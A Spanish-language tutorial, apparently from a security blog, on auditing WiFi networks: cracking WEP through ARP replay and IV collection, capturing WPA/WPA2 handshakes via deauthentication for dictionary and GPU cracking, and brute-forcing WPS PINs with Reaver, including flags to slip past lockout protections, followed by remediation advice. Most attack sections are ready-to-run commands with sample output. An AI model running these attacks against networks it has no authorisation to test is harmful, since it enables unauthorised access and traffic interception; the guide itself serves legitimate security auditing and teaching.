Inicio Linux & Systems Networks & Infrastructure Cybersecurity Cloud & DevOps SIEM & Monitoring DFIR & Threat Intel Development & Other Todas las categorias Herramientas Proyectos Sobre

Cracking WiFi WEP, WPA/WPA2: Guía Completa de Auditoría Wireless

Read in English
Cracking WiFi WEP, WPA/WPA2

Tabla de contenidos

Introducción

La auditoría de seguridad de redes inalámbricas es una de las disciplinas fundamentales en el pentesting. A lo largo de los años, los protocolos de cifrado WiFi han evolucionado desde WEP (completamente roto) hasta WPA3, pero la realidad es que en 2012 la inmensa mayoría de redes domésticas y empresariales siguen utilizando WEP, WPA o WPA2 con configuraciones débiles.

En esta guía cubriremos de forma exhaustiva las técnicas de auditoría wireless más relevantes:

  • Cracking WEP: explotación de las debilidades criptográficas del protocolo RC4 mediante inyección de paquetes y recolección de IVs.
  • Cracking WPA/WPA2 por diccionario: captura del 4-way handshake y ataque offline con wordlists.
  • Ataque WPS con Reaver: fuerza bruta contra el PIN de WiFi Protected Setup para obtener la clave WPA/WPA2 en texto plano.
  • Técnicas complementarias: deautenticación, inyección ARP y aceleración con GPU.

Aviso legal: esta guía tiene fines exclusivamente educativos y de auditoría autorizada. Atacar redes WiFi sin autorización explícita del propietario es un delito tipificado en la mayoría de legislaciones. Utiliza siempre un entorno de laboratorio propio para practicar.

Requisitos y preparación del entorno

Antes de comenzar necesitamos un entorno de trabajo adecuado:

Hardware

  • Adaptador WiFi compatible con inyección de paquetes: no todos los adaptadores soportan el modo monitor ni la inyección. Los chipsets más fiables son:
    • Atheros AR9271 (Alfa AWUS036NHA): excelente soporte en Linux, inyección estable.
    • Realtek RTL8187L (Alfa AWUS036H): clásico para auditoría wireless, muy compatible con aircrack-ng.
    • Ralink RT3070 (Alfa AWUS036NH): buen rendimiento y largo alcance.
  • Antena externa (opcional): una antena direccional o de mayor ganancia mejora significativamente la recepción en auditorías a distancia.

Software

  • aircrack-ng suite: conjunto completo de herramientas para auditoría wireless (airmon-ng, airodump-ng, aireplay-ng, aircrack-ng).
  • Reaver: herramienta especializada en ataques de fuerza bruta contra WPS.
  • Diccionarios: wordlists para ataques por diccionario contra WPA/WPA2 (rockyou.txt, generados con crunch, etc.).
  • Sistema operativo: BackTrack 5 R2 o cualquier distribución Linux con los drivers wireless adecuados.

Instalación de aircrack-ng

En la mayoría de distribuciones orientadas a seguridad, aircrack-ng ya viene preinstalado. Si no es el caso:

bash
# Debian/Ubuntu
apt-get install aircrack-ng

# Compilación desde fuentes (última versión)
wget https://download.aircrack-ng.org/aircrack-ng-1.1.tar.gz
tar -xvf aircrack-ng-1.1.tar.gz
cd aircrack-ng-1.1
make
sudo make install

Instalación de Reaver

Reaver fue desarrollado por Craig Heffner y publicado en diciembre de 2011. Implementa un ataque de fuerza bruta contra el protocolo WPS (WiFi Protected Setup) que permite recuperar la clave WPA/WPA2 en texto plano:

bash
wget http://reaver-wps.googlecode.com/files/reaver-1.4.tar.gz
tar -xvf reaver-1.4.tar.gz
cd reaver-1.4/src
./configure
make
sudo make install

Activar el modo monitor

El modo monitor permite a nuestra tarjeta WiFi capturar todos los paquetes del aire, no solo los destinados a nuestra interfaz. Es el equivalente al modo promiscuo en redes cableadas y es requisito indispensable para cualquier auditoría wireless.

Primero, identificamos nuestra interfaz inalámbrica:

bash
airmon-ng

Interface   Chipset             Driver
wlan0       Realtek RTL8187L    rtl8187 - [phy0]

Antes de activar el modo monitor, es recomendable eliminar los procesos que puedan interferir con la captura de paquetes:

bash
# Detener procesos que interfieren (NetworkManager, wpa_supplicant, etc.)
airmon-ng check kill

# Activar modo monitor
airmon-ng start wlan0

Interface   Chipset             Driver
wlan0       Realtek RTL8187L    rtl8187 - [phy0]
                                (monitor mode enabled on mon0)

Se crea una nueva interfaz mon0 en modo monitor. Verificamos que funciona correctamente:

bash
iwconfig mon0

mon0    IEEE 802.11bg  Mode:Monitor  Frequency:2.437 GHz
        Tx-Power=20 dBm
        RTS thr:off   Fragment thr:off
        Power Management:off

Reconocimiento: descubrimiento de redes

Con la interfaz en modo monitor, escaneamos todas las redes WiFi disponibles utilizando airodump-ng:

bash
airodump-ng mon0

La salida muestra dos secciones fundamentales:

text
 CH  8 ][ Elapsed: 24 s ]

 BSSID              PWR  Beacons  #Data  #/s  CH  MB  ENC   CIPHER  AUTH  ESSID

 E0:91:53:0B:C3:BD  -52    62     178    7    1  54  WEP   WEP           WLAN_1E
 00:16:B6:11:41:68  -64    10       0    0   11  54  WPA   TKIP    PSK   RedLab
 5C:33:8E:CF:F2:F2  -68     6       0    0   11  54  WPA2  CCMP    PSK   TestNet
 64:68:0C:7E:DF:28  -72     3       0    0    6  54  WPA   CCMP    PSK   WiFi_Audit
 00:1D:60:BD:1A:E1  -75    11       0    0    1  54  OPN                 OpenNet

 BSSID              STATION            PWR   Rate  Lost  Packets  Probes

 E0:91:53:0B:C3:BD  00:C0:CA:52:48:30  -58   0-1   5266  4375
 00:16:B6:11:41:68  00:21:00:1D:1D:FF  -62  48-0      0    25

Interpretación de las columnas más relevantes:

  • BSSID: dirección MAC del punto de acceso.
  • PWR: potencia de la señal (cuanto más cercano a 0, mejor señal).
  • #Data: número de paquetes de datos capturados. Para cracking WEP, necesitamos acumular miles de estos paquetes.
  • CH: canal en el que opera el AP.
  • ENC: tipo de cifrado (WEP, WPA, WPA2, OPN).
  • CIPHER: algoritmo de cifrado (WEP, TKIP, CCMP/AES).
  • AUTH: tipo de autenticación (PSK = Pre-Shared Key, MGT = 802.1X/Enterprise).
  • ESSID: nombre de la red.

La sección inferior muestra los clientes asociados a cada punto de acceso. Esto es relevante porque necesitamos clientes activos para ciertos ataques (deautenticación, inyección ARP).

Cracking WEP

WEP (Wired Equivalent Privacy) es el protocolo de cifrado WiFi original, ratificado en 1997. Utiliza el algoritmo RC4 con vectores de inicialización (IVs) de solo 24 bits. La debilidad fundamental de WEP radica en que los IVs se transmiten en texto claro y, debido a su tamaño reducido, se repiten estadísticamente tras un número relativamente pequeño de paquetes. Esto permite reconstruir la clave mediante análisis estadístico (ataque FMS, ataque PTW).

En la práctica, una red WEP puede crackearse en minutos si hay suficiente tráfico.

Paso 1: Capturar tráfico del AP objetivo

Fijamos airodump-ng en el canal del punto de acceso objetivo y guardamos la captura en un fichero:

bash
# -c 1         = canal del AP
# --bssid      = MAC del AP objetivo
# -w captura   = prefijo del fichero de salida
airodump-ng -c 1 --bssid E0:91:53:0B:C3:BD -w captura_wep mon0

Dejamos esta terminal abierta capturando paquetes. La columna #Data muestra el número de paquetes de datos (IVs) acumulados. Necesitamos al menos 20.000-40.000 IVs para el ataque PTW (más rápido) o 100.000+ para el ataque FMS/KoreK clásico.

Paso 2: Asociación falsa

Si no hay clientes legítimos asociados al AP o el tráfico es muy bajo, realizamos una autenticación falsa para que el AP acepte nuestros paquetes inyectados:

bash
# -1 0     = ataque de autenticación falsa con reasociación cada 0 segundos
# -a       = BSSID del AP
# -h       = nuestra MAC (la de mon0)
# -e       = ESSID de la red
aireplay-ng -1 0 -a E0:91:53:0B:C3:BD -h 00:11:22:33:44:55 -e WLAN_1E mon0

18:22:41  Sending Authentication Request (Open System)
18:22:41  Authentication successful
18:22:41  Sending Association Request
18:22:41  Association successful :-)

El mensaje Association successful confirma que el AP nos ha aceptado. Mantenemos esta asociación activa mientras dure el ataque.

Paso 3: Inyección ARP para acelerar la captura

El método más eficiente para generar tráfico en una red WEP es la inyección de peticiones ARP. Cuando detectamos un paquete ARP, lo reinyectamos repetidamente para forzar al AP a generar nuevos paquetes con IVs únicos:

bash
# -3       = ataque de replay de peticiones ARP
# -b       = BSSID del AP
# -h       = nuestra MAC
aireplay-ng -3 -b E0:91:53:0B:C3:BD -h 00:11:22:33:44:55 mon0

Saving ARP requests in replay_arp-0228-182500.cap
Read 4375 packets (got 1243 ARP requests), sent 35280 packets...(512 pps)

La inyección ARP puede generar entre 300 y 1000 paquetes por segundo. En pocos minutos acumularemos suficientes IVs para el ataque. Si no se captura ningún ARP inicialmente, podemos forzar la generación enviando un paquete de deautenticación a un cliente legítimo:

bash
# Enviar 5 paquetes de deautenticación al cliente
aireplay-ng -0 5 -a E0:91:53:0B:C3:BD -c 00:C0:CA:52:48:30 mon0

Cuando el cliente se reconecta, genera tráfico ARP que podemos capturar y reinyectar.

Paso 4: Crackear la clave WEP

Con suficientes IVs capturados, lanzamos aircrack-ng contra el fichero de captura:

bash
aircrack-ng captura_wep-01.cap

Opening captura_wep-01.cap
Read 86295 packets.

   #  BSSID              ESSID            Encryption  1st Data  Key

   1  E0:91:53:0B:C3:BD  WLAN_1E          WEP         45328     (128 bit)

Choosing first network as target.

                             Aircrack-ng 1.1

                  [00:00:03] Tested 835 keys (got 45328 IVs)

   KB    depth   byte(vote)
    0    0/ 1    A3(52224) 1F(47872) 6D(45568) 2A(44800) E5(44544)
    1    0/ 1    8E(52992) 7C(47104) 21(46336) 9A(45056) D3(44800)
    2    0/ 3    F7(48640) B2(47360) 5D(46592) 1E(45824) 8C(44288)
    3    0/ 1    29(51968) E4(47616) 7B(46080) A1(45312) 5F(44800)
    4    2/ 5    C1(47616) 3A(46848) 8D(46336) F2(45568) 6E(44544)

                    KEY FOUND! [ A3:8E:F7:29:C1:5D:4A:B8:E2:1F:7C:D3:9E ]

        Decrypted correctly: 100%

La clave se muestra en formato hexadecimal. El ataque PTW (por defecto en aircrack-ng) es significativamente más rápido que el FMS/KoreK clásico y necesita menos IVs.

Cracking WPA/WPA2 por captura de handshake

WPA (Wi-Fi Protected Access) y WPA2 fueron diseñados para corregir las deficiencias de WEP. WPA utiliza TKIP (Temporal Key Integrity Protocol) y WPA2 utiliza AES-CCMP, ambos con claves dinámicas por sesión. A diferencia de WEP, no existe un ataque criptográfico práctico contra WPA/WPA2 bien configurado.

El ataque más efectivo contra WPA/WPA2-PSK es la captura del 4-way handshake seguida de un ataque offline por diccionario o fuerza bruta. El handshake se produce cuando un cliente se autentica con el AP y contiene la información necesaria para verificar si una contraseña candidata es correcta.

El 4-way handshake explicado

El proceso de autenticación WPA/WPA2 consta de cuatro mensajes entre el AP y el cliente:

  1. Mensaje 1 (AP → Cliente): el AP envía un nonce aleatorio (ANonce).
  2. Mensaje 2 (Cliente → AP): el cliente genera su propio nonce (SNonce), calcula la PTK (Pairwise Transient Key) usando la PSK, los dos nonces y las MACs, y envía el SNonce junto con un MIC (Message Integrity Code).
  3. Mensaje 3 (AP → Cliente): el AP verifica el MIC, confirma la PTK y envía la clave de grupo (GTK) cifrada.
  4. Mensaje 4 (Cliente → AP): el cliente confirma la instalación de las claves.

Para el ataque por diccionario necesitamos capturar al menos los mensajes 1 y 2 (o 2 y 3). Con estos datos podemos intentar reconstruir la PTK offline probando diferentes contraseñas candidatas.

Paso 1: Capturar el handshake

Fijamos airodump-ng en el canal del AP objetivo con WPA/WPA2:

bash
airodump-ng -c 11 --bssid 00:16:B6:11:41:68 -w captura_wpa mon0

Paso 2: Forzar la reconexión con deautenticación

Si no queremos esperar a que un cliente se conecte de forma natural, enviamos paquetes de deautenticación para forzar la desconexión y posterior reconexión (que genera el handshake):

bash
# -0 10      = enviar 10 paquetes de deautenticación
# -a         = BSSID del AP
# -c         = MAC del cliente asociado
aireplay-ng -0 10 -a 00:16:B6:11:41:68 -c 00:21:00:1D:1D:FF mon0

18:35:01  Sending 64 directed DeAuth. STMAC: [00:21:00:1D:1D:FF]
18:35:02  Sending 64 directed DeAuth. STMAC: [00:21:00:1D:1D:FF]

Cuando el cliente se reconecta, airodump-ng mostrará WPA handshake: 00:16:B6:11:41:68 en la esquina superior derecha, confirmando que hemos capturado el handshake correctamente.

text
 CH 11 ][ Elapsed: 1 min ][ WPA handshake: 00:16:B6:11:41:68

 BSSID              PWR  Beacons  #Data  #/s  CH  MB  ENC   CIPHER  AUTH  ESSID

 00:16:B6:11:41:68  -64    85     124    3   11  54  WPA   TKIP    PSK   RedLab

Paso 3: Ataque por diccionario

Con el handshake capturado, podemos detener la captura y proceder al ataque offline. No necesitamos estar cerca del AP para esta fase, ya que todo el procesamiento se hace sobre el fichero .cap:

bash
# -w         = wordlist (diccionario)
# -b         = BSSID del AP
aircrack-ng -w /usr/share/wordlists/rockyou.txt -b 00:16:B6:11:41:68 captura_wpa-01.cap

Opening captura_wpa-01.cap
Read 856 packets.

                              Aircrack-ng 1.1

                [00:01:52] 38264 keys tested (340.12 k/s)

                       KEY FOUND! [ contraseña_wifi ]

     Master Key     : A3 8E F7 29 C1 5D 4A B8 E2 1F 7C D3 9E ...
     Transient Key  : 7B 2A E5 1D 8C F2 6E A1 ...
     EAPOL HMAC     : D4 3A 87 5C E9 2B F6 ...

La velocidad del ataque depende directamente de la potencia de procesamiento. Un procesador moderno puede probar entre 300-1000 claves por segundo con aircrack-ng. La efectividad del ataque depende completamente de que la contraseña esté en el diccionario utilizado.

Generación de diccionarios personalizados

Si el diccionario genérico no funciona, podemos generar wordlists personalizadas con crunch:

bash
# Generar combinaciones de 8-12 caracteres con minúsculas y números
crunch 8 12 abcdefghijklmnopqrstuvwxyz0123456789 -o diccionario_custom.txt

# Generar con un patrón específico (@ = minúsculas, % = números)
crunch 10 10 -t wifi%%%%@@ -o diccionario_wifi.txt

# Canalizar directamente a aircrack-ng (sin escribir en disco)
crunch 8 8 0123456789 | aircrack-ng -w - -b 00:16:B6:11:41:68 captura_wpa-01.cap

Aceleración con GPU usando oclHashcat/pyrit

Para ataques masivos, la CPU resulta insuficiente. Herramientas como pyrit y oclHashcat aprovechan la potencia de cálculo paralelo de las tarjetas gráficas, multiplicando la velocidad por un factor de 10x-100x:

bash
# Convertir el handshake a formato hccap para oclHashcat
aircrack-ng captura_wpa-01.cap -J handshake_hash

# Ataque con oclHashcat (GPU)
oclHashcat -m 2500 handshake_hash.hccap /usr/share/wordlists/rockyou.txt

# Con pyrit (precomputación de PMKs)
pyrit -r captura_wpa-01.cap -i /usr/share/wordlists/rockyou.txt attack_passthrough

Una GPU moderna como la Radeon HD 7970 puede alcanzar entre 50.000 y 150.000 PMKs por segundo, frente a los 300-1000 de la CPU. Esto reduce drásticamente el tiempo necesario para probar diccionarios extensos.

Ataque WPS con Reaver

WiFi Protected Setup (WPS) fue diseñado para simplificar la conexión de dispositivos a redes WiFi seguras. Permite a los usuarios conectarse introduciendo un PIN de 8 dígitos en lugar de la contraseña WPA/WPA2 completa. Sin embargo, en diciembre de 2011, el investigador Stefan Viehböck publicó un paper demostrando una vulnerabilidad de diseño crítica en el protocolo WPS.

La vulnerabilidad del PIN WPS

El PIN WPS de 8 dígitos no se verifica de forma atómica. El protocolo divide la verificación en dos mitades:

  • El AP primero verifica los 4 primeros dígitos (primera mitad) y responde con un mensaje de éxito o error.
  • Si la primera mitad es correcta, entonces verifica los 3 dígitos siguientes (el octavo dígito es un checksum).

Esto reduce el espacio de búsqueda de 10^8 = 100.000.000 combinaciones a solo 10^4 + 10^3 = 11.000 intentos en el peor caso. Reaver explota esta vulnerabilidad realizando un ataque de fuerza bruta secuencial contra ambas mitades del PIN.

Según el autor de Reaver, el tiempo necesario para recuperar la clave WPA/WPA2 oscila entre 4 y 10 horas, dependiendo del punto de acceso.

Identificar APs con WPS activado

No todos los APs tienen WPS habilitado. Utilizamos wash (incluido con Reaver) para identificar los que son vulnerables:

bash
wash -i mon0

BSSID              Channel  RSSI  WPS Version  WPS Locked  ESSID
--------------------------------------------------------------
5C:33:8E:CF:F2:F2  11       -68   1.0          No          TestNet
64:68:0C:7E:DF:28   6       -72   1.0          No          WiFi_Audit
00:16:B6:11:41:68  11       -64   1.0          No          RedLab

La columna WPS Locked indica si el AP ha bloqueado el WPS tras múltiples intentos fallidos. Algunos fabricantes implementan rate limiting o bloqueo temporal como protección contra ataques de fuerza bruta.

Ejecutar el ataque con Reaver

Lanzamos Reaver contra el AP objetivo en modo verbose para monitorizar el progreso:

bash
# -i mon0    = interfaz en modo monitor
# -b         = BSSID del AP objetivo
# -vv        = modo muy verbose
reaver -i mon0 -b 5C:33:8E:CF:F2:F2 -vv

Reaver v1.4 WiFi Protected Setup Attack Tool
Copyright (c) 2011, Tactical Network Solutions, Craig Heffner

[+] Waiting for beacon from 5C:33:8E:CF:F2:F2
[+] Associated with 5C:33:8E:CF:F2:F2 (ESSID: TestNet)
[+] Trying pin 12345670
[+] Sending EAPOL START request
[+] Received identity request
[+] Sending identity response
[+] Received M1 message
[+] Sending M2 message
[+] Received M3 message
[+] Sending M4 message
[+] Received WSC NACK
[+] Sending WSC NACK
[+] Trying pin 00005670
[+] Sending EAPOL START request
...

Reaver prueba PINs de forma secuencial. Cada intento requiere un intercambio completo de mensajes EAP con el AP, lo que tarda entre 0.5 y 3 segundos dependiendo de la latencia del AP.

Opciones avanzadas de Reaver

Algunos APs implementan protecciones que ralentizan o bloquean el ataque. Opciones útiles para sortear estas protecciones:

bash
# -d 5        = delay de 5 segundos entre intentos (evitar rate limiting)
# -l 60       = sleep de 60 segundos tras detección de bloqueo WPS
# --no-nacks  = no enviar NACK tras error (mejora compatibilidad con algunos APs)
# -N          = no enviar M4 si M3 indica fallo (reduce tiempo)
# -S          = usar pequeños DH keys (acelera handshake)
reaver -i mon0 -b 5C:33:8E:CF:F2:F2 -vv -d 5 -l 60 --no-nacks

# Reanudar un ataque interrumpido (Reaver guarda progreso automáticamente)
reaver -i mon0 -b 5C:33:8E:CF:F2:F2 -vv

Una ventaja importante de Reaver es que guarda el progreso automáticamente. Si el ataque se interrumpe (pérdida de señal, bloqueo temporal del AP, etc.), al relanzarlo continúa desde el último PIN probado.

Resultado exitoso

Cuando Reaver encuentra el PIN correcto, muestra la clave WPA/WPA2 en texto plano:

text
[+] Trying pin 43956278
[+] WPS PIN: '43956278'
[+] WPA PSK: 'MiClaveWiFiSegura2012'
[+] AP SSID: 'TestNet'

A diferencia del ataque por diccionario, el ataque WPS no depende de la complejidad de la contraseña. Incluso una clave WPA2 de 63 caracteres aleatorios será recuperada si el AP tiene WPS habilitado y vulnerable.

Comparativa de ataques

Para elegir la estrategia adecuada durante una auditoría, es útil comparar los tres vectores de ataque:

Característica WEP (aircrack-ng) WPA/WPA2 (handshake) WPS (Reaver)
Tipo de ataque Criptográfico (IVs) Diccionario/fuerza bruta offline Fuerza bruta online
Tiempo estimado 5-30 minutos Depende del diccionario y la GPU 4-10 horas
Depende de la contraseña No Sí (debe estar en el diccionario) No
Requiere cliente conectado Recomendable Sí (para captura de handshake) No
Puede ser detectado Difícilmente Deautenticación sí, cracking no Sí (muchos intentos WPS)
Contramedida efectiva Migrar a WPA2 Contraseña larga y compleja Desactivar WPS

Recomendaciones de seguridad

Como auditores, además de identificar vulnerabilidades debemos proporcionar recomendaciones de remediación claras:

  • Eliminar WEP completamente: cualquier red WEP es vulnerable y debe migrarse a WPA2-AES como mínimo. No existe configuración de WEP que sea segura.
  • Desactivar WPS: incluso en routers que implementan bloqueo temporal tras intentos fallidos, WPS sigue siendo un vector de ataque viable. La mejor protección es desactivarlo completamente en la configuración del router.
  • Contraseñas WPA2 robustas: utilizar contraseñas de al menos 12 caracteres que combinen mayúsculas, minúsculas, números y símbolos. Las contraseñas basadas en palabras del diccionario o patrones predecibles (nombre+año, dirección, teléfono) son vulnerables a ataques con wordlists.
  • Utilizar WPA2-AES (CCMP): evitar TKIP siempre que sea posible. TKIP tiene debilidades conocidas (ataque Beck-Tews) aunque no tan graves como WEP.
  • 802.1X/Enterprise en entornos corporativos: en lugar de PSK (una sola clave compartida por todos los usuarios), implementar autenticación por usuario con servidor RADIUS. Esto proporciona credenciales individuales y la capacidad de revocar acceso a usuarios específicos.
  • Monitorización wireless: implementar WIDS/WIPS (Wireless Intrusion Detection/Prevention System) para detectar ataques de deautenticación, APs no autorizados (rogue APs) y intentos de fuerza bruta contra WPS.
  • Actualizar firmware: los fabricantes publican actualizaciones que pueden incluir protecciones adicionales contra ataques conocidos (rate limiting en WPS, protección contra deautenticación, etc.).

Referencias

  • Brute forcing Wi-Fi Protected Setup — Stefan Viehböck (2011). Paper original sobre la vulnerabilidad WPS.
  • Aircrack-ng Documentation — Documentación oficial de la suite aircrack-ng.
  • Reaver WPS — Repositorio oficial de Reaver por Craig Heffner.
  • IEEE 802.11i-2004 — Estándar de seguridad para redes inalámbricas (WPA2).
  • Fluhrer, Mantin, Shamir (2001): Weaknesses in the Key Scheduling Algorithm of RC4 — Paper fundacional del ataque FMS contra WEP.

:wq!

Comentarios